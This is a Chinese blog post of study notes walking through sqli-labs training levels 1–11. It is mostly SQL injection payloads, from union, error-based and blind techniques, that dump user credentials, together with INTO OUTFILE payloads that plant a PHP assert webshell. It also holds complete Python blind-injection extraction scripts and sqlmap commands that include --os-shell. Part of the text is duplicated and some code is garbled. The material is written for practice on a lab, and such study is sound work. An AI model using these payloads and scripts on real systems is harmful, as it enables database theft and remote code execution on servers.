sql注入靶场

最新推荐文章于 2024-08-14 15:33:15 发布
最新推荐文章于 2024-08-14 15:33:15 发布
阅读量169 收藏
点赞数
文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44382333/article/details/133164166
版权

参考链接：

详细sqli-labs（1-65）通关讲解_糊涂是福yyyy的博客-CSDN博客

MySQL group_concat()函数 - MySQL教程 (yiibai.com)

SQLMAP 脱库过程（post请求，三种方法）_sqlmap怎么脱_doubboCode的博客-CSDN博客

你的个人信息是如何被盗走的？MySQL脱库，脱库的原理，怎么脱库，脱库的步骤，一库三表六字段_数据脱库是什么意思_士别三日wyx的博客-CSDN博客

mysql数据库备份(脱裤) - 简书 (jianshu.com)

盲注： updatexml()函数的理解

详解MySQL的UPDATEXML()函数：更新 XML 文档中的节点值 - Python技术站 (pythonjishu.com)

SQL注入中的报错注入，updatexml(1,concat(0x7e,database(),0x7e),1)_concat 0x7e_头顶蜘蛛网，脚踩大水缸的博客-CSDN博客

Markdown+Typora使用教程_typora怎么用markdown_NikkoLKR的博客-CSDN博客(图床的设置)

mysql数据库函数的使用:

show databases;
show tables;
user information_schema;  --选择information_schema数据库
show columns from table_1   --显示table_1表的属性，各个字段的状态
select * from tables limit 0,1; --显示informaiton_schema数据库中，表tables 中的内容

select group_concat(table_name) from information_schema.tables where table_schema='security';

select group_concat(column_name) from information_schema.columns where table_name='users';

 select group_concat(column_name) from information_schema.columns where table_name='users';

select group_concat(username,id,password) from security.users;

image-20230917213903510

image-20230917213949162

image-20230917215921397

image-20230917215939387

image-20230917215954027

less1-'闭合，报错注入

1.输入http://192.168.199.129/Less-1/?id=1‘ 报错

image-20230917204347824

2.输入http://192.168.199.129/Less-1/?id=1’ and 1=1 --+ 成功

image-20230917204502809

则判断存在字符型漏洞

3.查看源代码

image-20230917204745447

less2.整型 报错注入

1.输入 http://192.168.199.129/Less-2/?id=2 成功

image-20230917204936616

2.输入 http://192.168.199.129/Less-2/?id=2%27%20and%201=1–+ （id=2’ and 1=1–+） 失败

image-20230917205137149

3.输入：http://192.168.199.129/Less-2/?id=2%20and%201=1%20–+ （id=2 and 1=1 --+）成功

image-20230917205216916

4.查看源代码：

image-20230917205500119

5.显示输入注入后的sql语句

image-20230917210058880

image-20230917210116170

判断存在整型漏洞

1.联合注入 利用order 1,2,3 判断输出几列：

http://192.168.199.129/Less-2/?id=2%20order%20by%201%20–+ (id=2 and order by 1–+)

image-20230917210306572

image-20230917210429515

image-20230917210453990

image-20230917210516112

第四列根本不存在，所以一共有三列

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users


?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  '/var/www/html/Less-2/less2.php' --+

?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  'less2.php' --+


?id=-1%20union%20select%201,2,%27%3C?php%20assert($_POST[less2]);?%3E%27%20into%20outfile%20%27C:/less2.php%27--%20s
------------------------------------------------
union select 1,2,group_concat(column_name) from information_schema.colums where table_name='users'
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

image-20230917210800633

image-20230917210905826

image-20230917211510403

image-20230917212318396

image-20230917212504183

将less2.php文件写入 主机中，路径为默认路径，并使用 find / -name ‘less2.php’ ，查找文件在哪里

?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  'less2.php' --+

#该条语句失败
?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  '/var/www/html/Less-2/less2.php' --+

image-20230918111211483

image-20230918110915031

image-20230918110826843

less3 有回显示，’）闭合 union 注入

#copy
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users


?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  '/var/www/html/Less-2/less2.php' --+

?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>'  into outfile  'less2.php' --+



?id=1
?id=1' and 1=1 --+
?id=1 and 1=1  --+
?id=1' and 1=1 --+   #成功
?id=1' order by 1 --+  , ?id=1' order by 2 --+  ,?id=1' order by 8 --+  

?id=1') order by 3 --+   #成功
?id=1') order by 4 --+   #报错

?id=-1') union select 1,2,3 --+
?id=-1') union select 1,2,user() --+    
?id=-1') union select 1,2,database() --+   #security
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+            #查找数据库中的表名 emails,referers,uagents,users
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='users' --+                #id,username,password
?id=-1') union select 1,2,group_concat(username,id,password) from security.users --+

image-20230918112128297

image-20230918112219109

通过改写php代码，可以发现 id的注入点如下：

image-20230918113135964

image-20230918113340515

image-20230918114847253

less4-有回显，双引号，括号闭合 union注入

image-20230918115157189




/Less-4/?id=1  #SELECT * FROM users WHERE id=("1") LIMIT 0,1
/Less-4/?id=1") and 1=1 --+ 

/Less-4/?id=1") order by 3 --+ 
/Less-4/?id=1") order by 4 --+ 
/Less-4/?id=-1") union select 1,2,3 --+ 
/Less-4/?id=-1") union select 1,2,database() --+ 

/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
/Less-4/?id=-1") union select 1,2,group_concat(username,id,password) from security.users -- +

image-20230918115420083

image-20230918115437452

image-20230918115529853

image-20230918120211602

Less-5 无回显，’ 闭合 报错注入

copy 仙女象 and  头顶蜘蛛网，脚踩大水缸

/-先看一个通俗易懂的例子：
select updatexml(“abc”,"//div/p/text()","abcd")   的意思是把"abc"换成"abcd" ，而服务器要通过xpath路径"//div/p/text()"找到"abc"  。

这时如果xpath路径格式出错了，则会把校验xpath路径后的结果通过报错信息显示出来，如果我们把xpath路径改成我们想知道的信息，结果就会通过报错信息显示出来。
例如改成select updatexml(“abc”,concat(“~”,database()),"abcd")  就可以通过报错信息得到当前服务器使用数据库的名字（如下图所示）。

-/


#获取当前数据库名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#获取当前数据库所有表名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有列名称
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s
#获取当前数据库user表所有username和password的值
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),125,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),156,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)-- s
#下面这步写webshell
http://192.168.101.16/sqli-labs-master/Less-5/?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

SUBSTR (str, pos)
截取从pos位置开始到最后的所有str字符串

SUBSTR (str, pos, len)

参数说明:

str为列名/字符串；
pos为起始位置；mysql中的起始位置pos是从1开始的；如果为正数，就表示从正数的位置往下截取字符串（起始坐标从1开始），反之如果起始位置pos为负数，那么 表示就从倒数第几个开始截取；
len为截取字符个数/长度。


/Less-5/?id=1    #正确执行
/Less-5/?id=1'   #语法报错
/Less-5/?id=1"   #正确执行
/Less-5/?id=1' and 1=1 --+ #正确执行 ，判断  单引号闭合 ，无回显

#使用报错注入:
/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s
#0X7e 其实就是字符 '~'
/Less-5/?id=1'and updatexml(1,concat('~',(select database()),0x7e),1)-- s  #查询数据库
/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) -- s  #查询该数据库中所有的表

#查询users表中所有的字段
/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

#查询users表中的内容
/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

image-20230918141319113

image-20230918141340300

image-20230918141434204

image-20230918141602633

在代码里面echo 一下执行的语句，可以看到执行语句

image-20230918142445837

image-20230918143943876

image-20230918150101286

image-20230918150852379

Less6 “闭合 没有回显 报错注入

/Less-6/?id=1
/Less-6/?id=1'
/Less-6/?id=abc   #这个没有you are in
/Less-6/?id=1"    #报错
/Less-6/?id=1' and 1=1 --s+  #正常运行，但是没有回显，所以 ’闭合 没有回显

/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) -- s

/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s


substr('aaaaabbb...',1,62)似乎最大就能显示长度为32个字符字串

image-20230918151642090

image-20230918151622451

image-20230918151801917

查看源码输出，发现是”闭合

image-20230918152447886

image-20230918152612695

image-20230918152651717

image-20230918152741571

Less7 '))闭合，布尔盲注 （后续还需要再跑手动注入一遍）

/Less-7/?id=1

如果手工注入的话，闭合可以用burpsuite爆破，这里就不写了。找到闭合之后，就可以开始爆库和写webshell了。

/Less-7/?id=1'   #报错
/Less-7/?id=1"   #正常

猜测因该是"闭合，无回显，有报错信息
/Less-7/?id=1 and 1=1

/Less-7/?id=1 and 1=1 --s  #正常、

####
/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- s

/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

/Less-7/?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) -- s

/Less-7/?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

/Less-7/?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

该段python代码（判断数据库的值）的逻辑为：

1.使用二分法，判断数据库长度

假设数据库最大长度为n,利用二分法分为两个区间，找到真正的数据数据库长度

2.使用暴力遍历法，遍历数据库中的字符

建立一个字符列表k，然后进行n次查询，每次查询确当一个字符。一共进行 k*数据库的长度 （n）

​
​ #!/usr/bin/python3
​ # coding=utf-8
​
“”"
©️ Copyright © 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
“”"

import requests
 
url = "http://192.168.101.16/sqli-labs-master/Less-7/"               #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部，根据实际情况填写
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'You are in'                                        #用于判断附加sql语句为真的字符，根据网页回显填写
 
def CurrentDatabase7():
    n = 10                                                                      #预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1')) and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            print(payload1)
            param = {
            "id":payload1,
            }
            response = requests.get(url, params = param, headers = headers)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1')) and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1')) and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def Tables7():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))

​
​ def Columns7(table): #table参数是需要爆破的数据表名称，记得加单引号
​ n = 200 #预测某个表所有列名称最大可能的长度，根据实际情况填写
​ k = 0
​ j = n//2
​ length = 0
​ cname = str()
​ while True:
​ if j>k and j3:
​ payload7 = “1’)) and (length((select group_concat(column_name) from information_schema.columns where table_name = '”+table+“’ and table_schema = database())))>”+str(j)+“-- ss”
​ param = {
​ “id”:payload7,
​ }
​ response = requests.get(url, params = param, headers = headers)
​ if response.text.find(flag) != -1:
​ n=n
​ k=j
​ else:
​ k=k
​ n=j
​ j=(n-k)//2
​ elif j-k==3 or j-k<3:
​ for i in range(k-1,n+2):
​ payload8 = “1’)) and (length((select group_concat(column_name) from information_schema.columns where table_name = '”+table+“’ and table_schema = database())))=”+str(i)+“-- ss”
​ param = {
​ “id”:payload8,
​ }
​ response = requests.get(url, params = param, headers = headers)
​ if response.text.find(flag) != -1:
​ length = i
​ break
​ break
​ else:
​ break
​ print(“the name of all columns in current table contains “+str(length)+” characters”)
​
for i in range(1,length+1):
for c in keylist:
payload9 = “1’)) and substr((select group_concat(column_name) from information_schema.columns where table_name = '”+table+“’ and table_schema = database()),”+str(i)+“,1)='”+c+“'-- ss”
param = {
“id”:payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))

def Content7(table,col1,col2):                                                #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                }
                response = requests.get(url, params = param, headers = headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            }
            response = requests.get(url, params = param, headers = headers)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

image-20230918153140576

image-20230918153431968

image-20230918153452874

查看源代码： 发现是 ‘））闭合

image-20230918153619349

image-20230918153808520

通过跑脚本，可以爆破数据库

image-20230918160146241

image-20230918160201781

Less8-’ 闭合 布尔盲注

/Less-8/?id=1
/Less-8/?id=1'   报错
/Less-8/?id=1' and 1=1 --s  没有正确回显

#7和8这种盲注，似乎不能使用updatexml()语句进行回显，为什么？？？
/Less-8/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- s
因为else语句中，print(mysql_error());被注释了，所以用不了updatexml

image-20230918160734173

image-20230918161234945

image-20230918161805452

使用脚本爆破：

#!/usr/bin/python3
# coding=utf-8

*"""
**functions for boolean-based sql injection(GET)

**:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
**:license: GNU General Public License v3.0, see LICENSE for more details.

**"""
**
*import requests

url = "http://192.168.199.129/Less-8/"  # 有可利用漏洞的url，根据实际情况填写
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", }  # http request报文头部，根据实际情况填写

keylist = [chr(i) for i in range(33, 127)]  # 包括数字、大小写字母、可见特殊字符
flag = 'You are in'  # 用于判断附加sql语句为真的字符，根据网页回显填写


def CurrentDatabaseGET():
    n = 10  # 预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "1' and length(database())>" + str(j) + "-- ss"  # 所有payload根据实际情况填写
            param = {
                "id": payload1,
            }
            response = requests.get(url, params=param, headers=headers)  # GET方法发送含payload的request
            \# print(response.request.headers)
            \# print(response.text)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "1' and length(database())=" + str(i) + "-- ss"
                param = {
                    "id": payload2,
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains " + str(length) + " characters")

​    for i in range(1, length + 1):
​        for c in keylist:
​            payload3 = "1' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
​            param = {
​                "id": payload3,
​            }
​            response = requests.get(url, params=param, headers=headers)
​            if response.text.find(flag) != -1:
​                db = db + c
​                break
​    print("the name of current database is " + str(db))


def TablesGET():
    n = 100  # 预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n // 2
    length = 0
    tname = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>" + str(
                j) + "-- ss"
            param = {
                "id": payload4,
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))=" + str(
                    i) + "-- ss"
                param = {
                    "id": payload5,
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains " + str(length) + " characters")

​    for i in range(1, length + 1):
​        for c in keylist:
​            payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database())," + str(
​                i) + ",1)='" + c + "'-- ss"
​            param = {
​                "id": payload6,
​            }
​            response = requests.get(url, params=param, headers=headers)
​            if response.text.find(flag) != -1:
​                tname = tname + c
​                break
​    print("the name of all tables in current database is " + str(tname))


def ColumnsGET(table):  # table参数是需要爆破的数据表名称，记得加单引号
    n = 200  # 预测某个表所有列名称最大可能的长度，根据实际情况填写
    k = 0
    j = n // 2
    length = 0
    cname = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '" + table + "' and table_schema = database())))>" + str(
                j) + "-- ss"
            param = {
                "id": payload7,
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '" + table + "' and table_schema = database())))=" + str(
                    i) + "-- ss"
                param = {
                    "id": payload8,
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains " + str(length) + " characters")

​    for i in range(1, length + 1):
​        for c in keylist:
​            payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '" + table + "' and table_schema = database())," + str(
​                i) + ",1)='" + c + "'-- ss"
​            param = {
​                "id": payload9,
​            }
​            response = requests.get(url, params=param, headers=headers)
​            if response.text.find(flag) != -1:
​                cname = cname + c
​                break
​    print("the name of all columns in current table is " + str(cname))


def ContentGET(table, col1, col2):  # table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 200  # 预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n // 2
    length = 0
    content = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload10 = "1' and (length((select group_concat(concat(" + col1 + ",'^'," + col2 + ")) from " + table + ")))>" + str(
                j) + "-- ss"
            param = {
                "id": payload10,
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload11 = "1' and (length((select group_concat(concat(" + col1 + ",'^'," + col2 + ")) from " + table + ")))=" + str(
                    i) + "-- ss"
                param = {
                    "id": payload11,
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains " + str(length) + " characters")

​    for i in range(1, length + 1):
​        for c in keylist:
​            payload12 = "1' and substr((select group_concat(concat(" + col1 + ",'^'," + col2 + ")) from " + table + ")," + str(
​                i) + ",1)='" + c + "'-- ss"
​            param = {
​                "id": payload12,
​            }
​            response = requests.get(url, params=param, headers=headers)
​            if response.text.find(flag) != -1:
​                content = content + c
​                break
​    print("the content is " + str(content))

CurrentDatabaseGET()

image-20230918162241893

Less9-时间注入，’闭合

/Less-9/?id=1
/Less-9/?id=1'
/Less-9/?id=1"
/Less-9/?id=1 and 1=1 都是一样的

通过观察源代码发现， 为‘闭合， 因此构造时间盲注
/Less-9/?id=1' and if(1=1,sleep(10),0)-- s


copy 仙女象：需要替换url
#获取所有数据库名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dbs
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --current-db
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --tables -D security
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --dump -D security -T users -C username,password
#写马
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-9/?id=1" --os-shell

image-20230918163400348

image-20230918163626522

从代码中可以看到，该sql语句中，不管是正确还是错误，其输入都是一样的

image-20230918163738752

通过下面语句发现，过一段时间，页面才会刷新

image-20230918164140345

Less10-时间盲注，”闭合

/Less-10/?id=1
/Less-10/?id=1'
/Less-10/?id=1"
回显都一样，因此猜测为输入sql语句正确，或错误其显示的内容都一样


可以使用sqlmap，进行时间盲注爆破
#获取当前数据库
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --current-db --technique T --level 3
#获取数据库security所有表名称
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --tables -D security --technique T --level 3
#获取数据库security的users表的所有列名
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --columns -D security -T users --technique T --level 3
#获取数据库security的users表的username和password列的值
python sqlmap.py -u "http://192.168.101.16/sqli-labs-master/Less-10/?id=1" --dump -D security -T users -C username,password --technique T --level 3



这题如果用手工注入，可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)的sqli_tb.py

与第九关相比，就是闭合不同。

image-20230918164658806

image-20230918164922817

可以看到回显相同，但是还是有细微的一些细节不同,其实也可可用用布尔注入去做的

image-20230918164948525

sql注入基本思路：

判断闭合：

‘ “ ’） ”） 无闭合

首先判断是否有回显：

如果有回显，且有报错信息，则可以使用报错注入，或者union注入

如过没有回显：

使用时间盲注，

如果正确sql语句与错误sql语句返回的内容不一样，并且没有报错信息，则使用布尔盲注

Less11-post 注入


uname=ele'&passwd=paswd&submit=Submit  #报错
uname=ele&passwd=paswd&submit=Submit   #登录失败

image-20230919113940020

image-20230919114144966

image-20230919110554796

image-20230919110652703

取数据库security的users表的username和password列的值
python sqlmap.py -u “http://192.168.101.16/sqli-labs-master/Less-10/?id=1” --dump -D security -T users -C username,password --technique T --level 3

这题如果用手工注入，可以试试改一改JacquelinXiang/sqli_blind: A simple tool/framework for boolean-based or time-based sql injection(blind) (github.com)的sqli_tb.py


与第九关相比，就是闭合不同。







[外链图片转存中...(img-97zyxmUS-1695354518126)]

[外链图片转存中...(img-Sasw863b-1695354518126)]

可以看到回显相同，但是还是有细微的一些细节不同,其实也可可用用布尔注入去做的

[外链图片转存中...(img-rTrdOSOE-1695354518126)]



sql注入基本思路：

判断闭合：

‘   “   ’） ”） 无闭合

首先判断是否有回显：

如果有回显，且有报错信息，则可以使用报错注入，或者union注入



如过没有回显：

使用时间盲注，

如果正确sql语句与错误sql语句返回的内容不一样，并且没有报错信息，则使用布尔盲注



# Less11-post 注入



```mysql

uname=ele'&passwd=paswd&submit=Submit  #报错
uname=ele&passwd=paswd&submit=Submit   #登录失败

[外链图片转存中…(img-nmso39Z8-1695354518126)]

[外链图片转存中…(img-rlYJzMNv-1695354518127)]

[外链图片转存中…(img-MB5BKN8h-1695354518127)]

[外链图片转存中…(img-o7nnZfOG-1695354518127)]

你在怕什么
关注
SQL注入（php靶场为例）
qq_47632786的博客
02-07 487
一般可用 and 1=1 1=2 /1=3/2-1来判断，当两次输出结果相同时，可判断为字符型注入，若输出结果不同，则为数字型注入。mysql数据库中，information—schema中包含数据库中所有的信息，其中含有tables表，和columns表，两个表中分别包含了所有的表明及列名。上述查询，如上图所示，仅显示一个表名，所以我们需要用 group_concat()确保所有查询信息能放到一行显示出来。③如果是字符型，找到闭合方式，闭合方式多为：’ 、" 、 ’ ) 、 ")。
sql注入靶场_sql注入
weixin_26705651的博客
09-21 980
sql注入靶场My first experience with SQL injection was some 20 years ago but is still very relevant today. 我第一次使用SQL注入的经验大约是20年前，但是今天仍然非常重要。 With all the advanced Database access frameworks, features, and...
sqli-labs漏洞靶场~SQL注入（全网最全详解）
weixin_67832625的博客
08-11 1689
本文主要对sqli-labs靶场的过程及思路做了最清晰的讲解，因为网上都是一些零散教程，今天笔者主打真实，写一篇通俗易懂的文章供大家参考！！！
靶场——SQL注入
newqian的博客
08-06 648
